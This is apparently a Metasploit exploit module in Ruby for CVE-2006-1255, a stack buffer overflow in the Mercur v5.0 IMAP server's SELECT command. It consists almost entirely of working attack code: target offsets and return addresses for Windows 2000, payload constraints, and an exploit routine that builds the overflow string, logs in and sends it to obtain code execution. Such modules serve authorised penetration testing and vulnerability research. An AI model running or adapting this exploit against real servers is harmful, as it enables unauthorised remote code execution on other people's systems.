Mercur v5.0 IMAP SP3 SELECT Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mercur v5.0 IMAP SP3 SELECT Buffer Overflow',
      'Description'    => %q{
          Mercur v5.0 IMAP server is prone to a remotely exploitable
        stack-based buffer overflow vulnerability. This issue is due
        to a failure of the application to properly bounds check
        user-supplied data prior to copying it to a fixed size memory buffer.
        Credit to Tim Taylor for discover the vulnerability.
      },
      'Author'         => [ 'Jacopo Cervini <acaro[at]jervus.it>' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2006-1255' ],
          [ 'OSVDB', '23950' ],
          [ 'BID', '17138' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,

        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 2000 Server SP4 English',  { 'Offset' => 126, 'Ret' => 0x13e50b42 }],
          ['Windows 2000 Pro SP1 English',     { 'Offset' => 127, 'Ret' => 0x1446e242 }],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2006-03-17'))

  end

  def exploit
    sploit =  "a001 select " + "\x43\x49\x41\x4f\x20\x42\x41\x43\x43\x4f\x20"
    sploit << rand_text_alpha_upper(94) + rand_text_alpha_upper(target['Offset'])
    sploit << [target.ret].pack('V') + "\r\n" + rand_text_alpha_upper(8)
    sploit << payload.encoded + rand_text_alpha_upper(453)

    info = connect_login

    if (info == true)
      print_status("Trying target #{target.name} using heap address at 0x%.8x..." % target.ret)
      sock.put(sploit + "\r\n")
    else
      print_status("Not falling through with exploit")
    end

    handler
    disconnect
  end
end